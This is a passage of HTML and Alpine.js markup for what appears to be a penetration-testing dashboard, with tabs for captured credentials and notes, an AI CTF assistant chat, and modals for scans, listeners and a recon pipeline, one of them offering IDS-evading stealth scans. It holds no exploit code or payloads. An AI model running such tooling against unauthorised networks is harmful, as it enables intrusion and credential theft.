<div>
<p class="text-5xl mb-4">🔑</p>
<p class="text-sp-white-muted">No credentials captured yet</p>
<p class="text-sp-white-muted text-sm mt-2">Add credentials manually or capture them during attacks</p>
</div>
</div>
<div x-show="credentials.length > 0" class="overflow-x-auto">
<table class="w-full text-sm">
<thead class="bg-sp-grey sticky top-0">
<tr class="text-left text-sp-white-muted">
<th class="px-4 py-3 font-semibold">Username</th>
<th class="px-4 py-3 font-semibold">Password/Hash</th>
<th class="px-4 py-3 font-semibold">Domain</th>
<th class="px-4 py-3 font-semibold">Host</th>
<th class="px-4 py-3 font-semibold">Service</th>
<th class="px-4 py-3 font-semibold">Source</th>
<th class="px-4 py-3 font-semibold w-20">Actions</th>
</tr>
</thead>
<tbody class="divide-y divide-sp-grey-mid">
<template x-for="cred in credentials" :key="cred.id">
<tr class="hover:bg-sp-grey/50 transition">
<td class="px-4 py-3 font-mono text-sp-red" x-text="cred.username"></td>
<td class="px-4 py-3 font-mono">
<span x-show="cred.password" class="text-green-400" x-text="cred.password"></span>
<span x-show="cred.hash && !cred.password" class="text-yellow-400 text-xs" x-text="(cred.hash || '').substring(0, 32) + '...'"></span>
</td>
<td class="px-4 py-3 text-sp-white-muted" x-text="cred.domain || '-'"></td>
<td class="px-4 py-3 font-mono text-sp-white-dim" x-text="cred.host || '-'"></td>
<td class="px-4 py-3 text-sp-white-muted" x-text="cred.service || '-'"></td>
<td class="px-4 py-3 text-sp-white-muted text-xs" x-text="cred.source || '-'"></td>
<td class="px-4 py-3">
<button @click="deleteCredential(cred.id)"
class="text-red-400 hover:text-red-300 p-1 transition"
title="Delete credential">
🗑️
</button>
</td>
</tr>
</template>
</tbody>
</table>
</div>
</div>
</template>
</div>
<!-- Notes Tab -->
<div x-show="activeTab === 'notes'" class="flex-1 flex flex-col overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
📝 Project Notes
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="projectNotes.length"></span> notes)</span>
</h2>
<div class="flex gap-2">
<button @click="showNoteModal = true"
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
:disabled="!currentProjectId">
+ Add Note
</button>
</div>
</div>
<template x-if="!currentProjectId">
<div class="flex-1 flex items-center justify-center text-center p-6">
<div>
<p class="text-5xl mb-4">📁</p>
<p class="text-sp-white-muted text-lg">No Project Selected</p>
<p class="text-sp-white-muted text-sm mt-2">Create or select a project to take notes</p>
<button @click="showProjectModal = true" class="mt-4 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded transition">
Create Project
</button>
</div>
</div>
</template>
<template x-if="currentProjectId">
<div class="flex-1 overflow-auto p-4">
<div x-show="projectNotes.length === 0" class="flex items-center justify-center text-center p-12">
<div>
<p class="text-5xl mb-4">📝</p>
<p class="text-sp-white-muted">No notes yet</p>
<p class="text-sp-white-muted text-sm mt-2">Add notes to document your findings and observations</p>
</div>
</div>
<div x-show="projectNotes.length > 0" class="grid grid-cols-1 md:grid-cols-2 gap-4">
<template x-for="note in projectNotes" :key="note.id">
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
<div class="flex items-start justify-between mb-2">
<div>
<h4 class="font-semibold text-sp-white" x-text="note.title"></h4>
<div class="flex items-center gap-2 mt-1">
<span :class="{
'bg-gray-500/30 text-gray-400': note.category === 'general',
'bg-blue-500/30 text-blue-400': note.category === 'recon',
'bg-red-500/30 text-red-400': note.category === 'exploitation',
'bg-purple-500/30 text-purple-400': note.category === 'post-exploit',
'bg-yellow-500/30 text-yellow-400': note.category === 'loot'
}" class="px-2 py-0.5 rounded text-xs" x-text="note.category"></span>
<span x-show="note.host" class="text-xs font-mono text-sp-white-muted" x-text="note.host"></span>
</div>
</div>
<button @click="deleteNote(note.id)"
class="text-red-400 hover:text-red-300 p-1 transition"
title="Delete note">
🗑️
</button>
</div>
<pre class="text-sm text-sp-white-dim whitespace-pre-wrap font-mono bg-sp-dark p-2 rounded mt-2 max-h-40 overflow-auto" x-text="note.content"></pre>
<div class="text-xs text-sp-white-muted mt-2" x-text="new Date(note.created_at).toLocaleString()"></div>
</div>
</template>
</div>
</div>
</template>
</div>
<!-- CTF Agent Tab -->
<div x-show="activeTab === 'ctf'" class="flex-1 flex flex-col overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid">
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
🚩 CTF Agent
<span class="text-sm font-normal text-sp-white-muted">AI-Powered Capture The Flag Assistant</span>
</h2>
</div>
<div class="flex-1 flex overflow-hidden">
<!-- Challenge Context Panel -->
<div class="w-80 border-r border-sp-grey-mid p-4 overflow-y-auto bg-sp-dark">
<h3 class="text-sm font-bold text-sp-red mb-3 flex items-center gap-2">
🎯 Challenge Context
</h3>
<div class="space-y-4">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Category</label>
<select x-model="ctfAgent.category"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="general">🎮 General</option>
<option value="web">🌐 Web Exploitation</option>
<option value="crypto">🔐 Cryptography</option>
<option value="pwn">💥 Binary Exploitation (PWN)</option>
<option value="reversing">🔍 Reverse Engineering</option>
<option value="forensics">🔬 Forensics</option>
<option value="osint">🕵️ OSINT</option>
<option value="misc">🎲 Miscellaneous</option>
</select>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Challenge Name</label>
<input type="text" x-model="ctfAgent.challengeName"
placeholder="e.g., Baby SQLi, Easy RSA"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red">
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Challenge Description</label>
<textarea x-model="ctfAgent.challengeDescription"
rows="3"
placeholder="Paste the challenge description here..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Hints (one per line)</label>
<textarea x-model="ctfAgent.hintsText"
rows="2"
placeholder="Any hints provided..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Files/Attachments</label>
<textarea x-model="ctfAgent.filesText"
rows="2"
placeholder="challenge.zip, flag.enc, binary..."
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none font-mono"></textarea>
</div>
<div>
<label class="block text-xs text-sp-white-muted mb-1">Current Progress</label>
<textarea x-model="ctfAgent.currentProgress"
rows="3"
placeholder="What have you tried? What did you find?"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
</div>
<button @click="clearCtfContext()"
class="w-full bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-sm transition border border-sp-grey-mid">
🗑️ Clear Context
</button>
</div>
<!-- Quick Actions -->
<h3 class="text-sm font-bold text-sp-red mt-6 mb-3 flex items-center gap-2">
⚡ Quick Prompts
</h3>
<div class="space-y-2">
<button @click="sendCtfQuickPrompt('Analyze this challenge and suggest initial approach vectors')"
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
🎯 Initial Analysis
</button>
<button @click="sendCtfQuickPrompt('What tools should I use for this type of challenge?')"
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
🛠️ Recommend Tools
</button>
<button @click="sendCtfQuickPrompt('I am stuck. Give me a hint without revealing the solution')"
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
💡 Give Me a Hint
</button>
<button @click="sendCtfQuickPrompt('Explain the vulnerability or technique used in this challenge')"
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
📚 Explain Technique
</button>
<button @click="sendCtfQuickPrompt('Write a solve script or exploit for this challenge')"
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
🐍 Generate Solve Script
</button>
</div>
</div>
<!-- Chat Area -->
<div class="flex-1 flex flex-col bg-sp-black/50">
<!-- Category Badge -->
<div class="px-4 py-2 border-b border-sp-grey-mid bg-sp-dark/50 flex items-center gap-2">
<span :class="{
'bg-gray-500/30 text-gray-400': ctfAgent.category === 'general',
'bg-blue-500/30 text-blue-400': ctfAgent.category === 'web',
'bg-purple-500/30 text-purple-400': ctfAgent.category === 'crypto',
'bg-red-500/30 text-red-400': ctfAgent.category === 'pwn',
'bg-orange-500/30 text-orange-400': ctfAgent.category === 'reversing',
'bg-green-500/30 text-green-400': ctfAgent.category === 'forensics',
'bg-cyan-500/30 text-cyan-400': ctfAgent.category === 'osint',
'bg-yellow-500/30 text-yellow-400': ctfAgent.category === 'misc'
}" class="px-2 py-1 rounded text-xs font-semibold">
<span x-text="getCategoryLabel(ctfAgent.category)"></span>
</span>
<span x-show="ctfAgent.challengeName" class="text-sm text-sp-white-muted">
Challenge: <span class="text-sp-white" x-text="ctfAgent.challengeName"></span>
</span>
</div>
<!-- Messages -->
<div class="flex-1 overflow-y-auto p-4 space-y-4" id="ctf-messages">
<template x-if="ctfAgent.messages.length === 0">
<div class="flex items-center justify-center h-full text-center">
<div>
<p class="text-6xl mb-4">🚩</p>
<p class="text-sp-white text-lg font-semibold">CTF Agent Ready</p>
<p class="text-sp-white-muted text-sm mt-2 max-w-md">
I'm your AI-powered CTF assistant. Set your challenge context on the left,
then ask me anything about solving CTF challenges!
</p>
<div class="mt-4 grid grid-cols-2 gap-2 text-xs">
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🌐 Web Exploitation</div>
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔐 Cryptography</div>
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">💥 Binary PWN</div>
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔍 Reverse Engineering</div>
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔬 Forensics</div>
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🕵️ OSINT</div>
</div>
</div>
</div>
</template>
<template x-for="(msg, idx) in ctfAgent.messages" :key="idx">
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
<div :class="msg.role === 'user' ? 'bg-sp-red/20 border-sp-red/50' : 'bg-sp-grey border-sp-grey-mid'"
class="max-w-3xl px-4 py-3 rounded-lg border">
<div class="flex items-center gap-2 mb-1 text-xs text-sp-white-muted">
<span x-text="msg.role === 'user' ? '👤 You' : '🚩 CTF Agent'"></span>
<span x-text="msg.timestamp"></span>
</div>
<div class="text-sm text-sp-white prose prose-invert max-w-none ctf-message" x-html="formatCtfMessage(msg.content)"></div>
</div>
</div>
</template>
<div x-show="ctfAgent.loading" class="flex justify-start">
<div class="bg-sp-grey border border-sp-grey-mid px-4 py-3 rounded-lg">
<div class="flex items-center gap-2">
<div class="animate-pulse flex gap-1">
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce"></div>
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce" style="animation-delay: 0.1s"></div>
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce" style="animation-delay: 0.2s"></div>
</div>
<span class="text-sm text-sp-white-muted">CTF Agent is thinking...</span>
</div>
</div>
</div>
</div>
<!-- Input Area -->
<div class="p-4 border-t border-sp-grey-mid bg-sp-dark">
<div class="flex gap-2">
<textarea x-model="ctfAgent.input"
@keydown.enter.prevent="if(!$event.shiftKey) sendCtfMessage()"
rows="2"
placeholder="Ask about your CTF challenge... (Enter to send, Shift+Enter for newline)"
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-3 text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
<button @click="sendCtfMessage()"
:disabled="!ctfAgent.input.trim() || ctfAgent.loading"
class="bg-sp-red hover:bg-sp-red-dark disabled:opacity-50 disabled:cursor-not-allowed px-6 py-2 rounded-lg font-semibold transition flex items-center gap-2">
<span x-show="!ctfAgent.loading">Send</span>
<span x-show="ctfAgent.loading" class="animate-spin"></span>
</button>
</div>
</div>
</div>
</div>
</div>
</main>
</div>
<!-- Scan Modal -->
<div x-show="scanModalOpen" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="scanModalOpen = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">Start <span class="text-sp-red" x-text="scanModal.tool"></span> Scan</h3>
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Target</label>
<input type="text" x-model="scanModal.target"
placeholder="IP, hostname, or URL"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Scan Type</label>
<select x-model="scanModal.scanType"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<template x-for="type in scanModal.types" :key="type">
<option :value="type" x-text="type"></option>
</template>
</select>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="scanModalOpen = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="startScan()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!scanModal.target">
Start Scan
</button>
</div>
</div>
</div>
<!-- Scan Details Modal -->
<div x-show="detailsModalOpen" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-4xl max-h-[80vh] overflow-y-auto border border-sp-grey-mid" @click.away="detailsModalOpen = false">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold text-sp-white">Scan Details</h3>
<button @click="detailsModalOpen = false" class="text-sp-white-muted hover:text-white text-xl"></button>
</div>
<template x-if="selectedScan">
<div class="space-y-4">
<div class="grid grid-cols-2 gap-4 text-sm">
<div><span class="text-sp-white-muted">Tool:</span> <span class="text-sp-red font-bold" x-text="selectedScan.tool"></span></div>
<div><span class="text-sp-white-muted">Target:</span> <span class="text-sp-white" x-text="selectedScan.target"></span></div>
<div><span class="text-sp-white-muted">Status:</span> <span x-text="selectedScan.status"></span></div>
<div><span class="text-sp-white-muted">Started:</span> <span x-text="selectedScan.started_at"></span></div>
</div>
<div>
<h4 class="text-sm text-sp-white-muted mb-2">Command</h4>
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto border border-sp-grey font-mono text-sp-white" x-text="selectedScan.command"></pre>
</div>
<template x-if="selectedScan.parsed && selectedScan.parsed.findings">
<div>
<h4 class="text-sm text-sp-white-muted mb-2">Findings (<span x-text="selectedScan.parsed.findings.length"></span>)</h4>
<div class="space-y-2 max-h-48 overflow-y-auto">
<template x-for="finding in selectedScan.parsed.findings" :key="finding.raw">
<div class="flex items-start gap-2 bg-sp-black p-2 rounded text-sm">
<span :class="getSeverityBadgeClass(finding.severity)"
class="severity-badge flex-shrink-0"
x-text="finding.severity"></span>
<span class="text-sp-white-dim" x-text="finding.raw"></span>
</div>
</template>
</div>
</div>
</template>
<template x-if="selectedScan.result && selectedScan.result.stdout">
<div>
<h4 class="text-sm text-sp-white-muted mb-2">Raw Output</h4>
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto text-sp-white-dim max-h-96 border border-sp-grey font-mono" x-text="selectedScan.result.stdout"></pre>
</div>
</template>
</div>
</template>
</div>
</div>
<!-- Listener Modal -->
<div x-show="showListenerModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="showListenerModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">📡 Create Listener</h3>
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Listener Name</label>
<input type="text" x-model="newListener.name" placeholder="http-listener-01"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Type</label>
<select x-model="newListener.type"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="http">HTTP</option>
<option value="https">HTTPS</option>
<option value="tcp">Raw TCP</option>
<option value="smb">SMB Pipe</option>
<option value="dns">DNS</option>
</select>
</div>
<div class="grid grid-cols-2 gap-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Bind Host</label>
<input type="text" x-model="newListener.host" placeholder="0.0.0.0"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Port</label>
<input type="number" x-model="newListener.port" placeholder="8443"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white font-mono">
</div>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showListenerModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="createListener()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!newListener.name || !newListener.port">
Create Listener
</button>
</div>
</div>
</div>
<!-- Range Scan Modal -->
<div x-show="showRangeScanModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="showRangeScanModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">🔍 Network Range Scan</h3>
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Target Range</label>
<input type="text" x-model="rangeScanTarget"
placeholder="192.168.1.0/24 or 10.0.0.1-254"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
<p class="text-xs text-sp-white-muted mt-1">CIDR notation or IP range</p>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Scan Type</label>
<select x-model="rangeScanType"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="ping">Ping Sweep (Fast)</option>
<option value="quick">Quick Scan (Top 100 ports)</option>
<option value="os">OS Detection</option>
<option value="full">Full Scan (All ports + OS)</option>
</select>
</div>
<div class="bg-sp-grey/50 p-3 rounded text-xs text-sp-white-muted">
<p class="font-semibold text-sp-white mb-1">⏱️ Estimated Times (per /24):</p>
<ul class="space-y-1">
<li><strong class="text-green-400">Ping Sweep:</strong> ~10-30 seconds</li>
<li><strong class="text-blue-400">Quick Scan:</strong> ~1-3 minutes (recommended)</li>
<li><strong class="text-yellow-400">OS Detection:</strong> ~5-15 minutes</li>
<li><strong class="text-red-400">Full Scan:</strong> ~30-60+ minutes</li>
</ul>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showRangeScanModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="startRangeScan()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!rangeScanTarget">
Start Scan
</button>
</div>
</div>
</div>
<!-- Recon Pipeline Modal -->
<div x-show="showPipelineModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-xl border border-sp-grey-mid glow-red" @click.away="showPipelineModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">🚀 Automated Recon Pipeline</h3>
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Target Range *</label>
<input type="text" x-model="newPipeline.target"
placeholder="192.168.1.0/24 or 10.0.0.1-254"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">Pipeline Type</label>
<div class="grid grid-cols-2 gap-3">
<button @click="newPipeline.pipeline = 'quick'"
:class="newPipeline.pipeline === 'quick' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
class="p-3 rounded border text-left transition">
<div class="font-semibold text-green-400">⚡ Quick</div>
<div class="text-xs text-sp-white-muted">Host discovery + top 100 ports</div>
<div class="text-xs text-sp-white-muted mt-1">~5 min</div>
</button>
<button @click="newPipeline.pipeline = 'standard'"
:class="newPipeline.pipeline === 'standard' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
class="p-3 rounded border text-left transition">
<div class="font-semibold text-blue-400">🔍 Standard</div>
<div class="text-xs text-sp-white-muted">Top 1000 ports + service/OS detection</div>
<div class="text-xs text-sp-white-muted mt-1">~20 min</div>
</button>
<button @click="newPipeline.pipeline = 'full'"
:class="newPipeline.pipeline === 'full' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
class="p-3 rounded border text-left transition">
<div class="font-semibold text-yellow-400">🔬 Full</div>
<div class="text-xs text-sp-white-muted">All 65535 ports + full enumeration</div>
<div class="text-xs text-sp-white-muted mt-1">~60+ min</div>
</button>
<button @click="newPipeline.pipeline = 'stealth'"
:class="newPipeline.pipeline === 'stealth' ? 'border-sp-red bg-sp-red/20' : 'border-sp-grey-mid hover:border-sp-grey-light'"
class="p-3 rounded border text-left transition">
<div class="font-semibold text-purple-400">🥷 Stealth</div>
<div class="text-xs text-sp-white-muted">Slow, evade IDS detection</div>
<div class="text-xs text-sp-white-muted mt-1">~30 min</div>
</button>
</div>
</div>
<div class="space-y-2">
<label class="flex items-center gap-3 cursor-pointer p-2 rounded hover:bg-sp-grey transition">
<input type="checkbox" x-model="newPipeline.include_vuln_scan"
class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
<div>
<div class="text-sp-white text-sm">Include Vulnerability Scan</div>
<div class="text-xs text-sp-white-muted">Run nmap vuln scripts (adds ~30 min)</div>
</div>
</label>
<label class="flex items-center gap-3 cursor-pointer p-2 rounded hover:bg-sp-grey transition">
<input type="checkbox" x-model="newPipeline.include_web_enum"
class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
<div>
<div class="text-sp-white text-sm">Include Web Enumeration</div>
<div class="text-xs text-sp-white-muted">Run Nikto on web servers (adds ~15 min)</div>
</div>
</label>
</div>
<!-- Active Pipelines -->
<div x-show="activePipelines.length > 0" class="bg-sp-black rounded p-3 border border-sp-grey-mid">
<h4 class="text-sm font-semibold text-sp-white mb-2">Active Pipelines</h4>
<div class="space-y-2">
<template x-for="pipeline in activePipelines" :key="pipeline.id">
<div class="flex items-center justify-between text-xs bg-sp-grey p-2 rounded">
<div>
<span class="font-mono text-sp-red" x-text="pipeline.target"></span>
<span class="text-sp-white-muted" x-text="' (' + pipeline.pipeline + ')'"></span>
</div>
<div class="flex items-center gap-2">
<div class="w-20 bg-sp-black rounded-full h-2 overflow-hidden">
<div class="bg-sp-red h-full transition-all" :style="'width: ' + pipeline.progress + '%'"></div>
</div>
<span :class="pipeline.status === 'completed' ? 'text-green-400' : 'text-yellow-400'"
x-text="pipeline.status"></span>
</div>
</div>
</template>
</div>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showPipelineModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="startPipeline()"
class="flex-1 bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded font-semibold transition"
:disabled="!newPipeline.target">
🚀 Start Pipeline
</button>
</div>
</div>
</div>
<!-- Project Create Modal -->
<div x-show="showProjectModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid glow-red" @click.away="showProjectModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">📁 Create New Project</h3>
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-1">Project Name *</label>
<input type="text" x-model="newProject.name"
placeholder="e.g., Client ABC Pentest Q1 2025"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Description</label>
<textarea x-model="newProject.description"
placeholder="Brief description of the engagement..."
rows="2"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted resize-none"></textarea>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-1">Target Network/Range</label>
<input type="text" x-model="newProject.target_network"
placeholder="192.168.1.0/24"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted font-mono">
</div>
<div class="bg-sp-grey/30 p-3 rounded border border-sp-grey-mid">
<p class="text-xs text-sp-white-muted">
💡 All hosts, scans, credentials, and findings will be saved to this project.
</p>
</div>
</div>
<div class="flex gap-3 mt-6">
<button @click="showProjectModal = false"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
Cancel
</button>
<button @click="createProject()"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
:disabled="!newProject.name.trim()">
Create Project
</button>
</div>
</div>
</div>
<!-- Project Details Slide-over -->
<div x-show="showProjectDetails && currentProject" x-transition:enter="transition ease-out duration-300"
x-transition:enter-start="opacity-0 transform translate-x-full"
x-transition:enter-end="opacity-100 transform translate-x-0"
x-transition:leave="transition ease-in duration-200"
x-transition:leave-start="opacity-100 transform translate-x-0"
x-transition:leave-end="opacity-0 transform translate-x-full"
class="fixed inset-y-0 right-0 w-96 bg-sp-dark border-l border-sp-grey-mid shadow-xl z-40 overflow-y-auto">
<div class="p-4">
<div class="flex items-center justify-between mb-4">
<h3 class="text-lg font-bold text-sp-white">📁 Project Details</h3>
<button @click="showProjectDetails = false" class="text-sp-white-muted hover:text-white"></button>
</div>
<template x-if="currentProject">
<div class="space-y-4">
<div>
<h4 class="text-xl font-bold text-sp-red" x-text="currentProject.name"></h4>
<p class="text-sm text-sp-white-muted" x-text="currentProject.description || 'No description'"></p>
</div>
<div class="grid grid-cols-2 gap-3 text-sm">
<div class="bg-sp-grey p-3 rounded">
<div class="text-sp-white-muted text-xs">Hosts</div>
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.hosts || []).length"></div>
</div>
<div class="bg-sp-grey p-3 rounded">
<div class="text-sp-white-muted text-xs">Credentials</div>
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.credentials || []).length"></div>
</div>
<div class="bg-sp-grey p-3 rounded">
<div class="text-sp-white-muted text-xs">Findings</div>
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.findings || []).length"></div>
</div>
<div class="bg-sp-grey p-3 rounded">
<div class="text-sp-white-muted text-xs">Notes</div>
<div class="text-xl font-bold text-sp-white" x-text="(currentProject.notes || []).length"></div>
</div>
</div>
<div class="text-xs text-sp-white-muted space-y-1">
<p><span class="opacity-60">Created:</span> <span x-text="new Date(currentProject.created_at).toLocaleString()"></span></p>
<p><span class="opacity-60">Updated:</span> <span x-text="new Date(currentProject.updated_at).toLocaleString()"></span></p>
<p x-show="currentProject.target_network"><span class="opacity-60">Target:</span> <span class="font-mono" x-text="currentProject.target_network"></span></p>
</div>
<div class="pt-4 border-t border-sp-grey-mid">
<button @click="deleteProject(currentProject.id)"
class="w-full bg-red-900/30 hover:bg-red-900/50 text-red-400 px-4 py-2 rounded text-sm transition">
🗑️ Delete Project
</button>
</div>
</div>
</template>
</div>
</div>
<!-- Credential Add Modal -->
<div x-show="showCredentialModal" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-lg border border-sp-grey-mid" @click.away="showCredentialModal = false">
<h3 class="text-lg font-bold mb-4 text-sp-white">🔐 Add Credential</h3>
<div class="space-y-3">
<div class="grid grid-cols-2 gap-3">
<div>
<label class="block text-xs text-sp-white-muted mb-1">Username *</label>
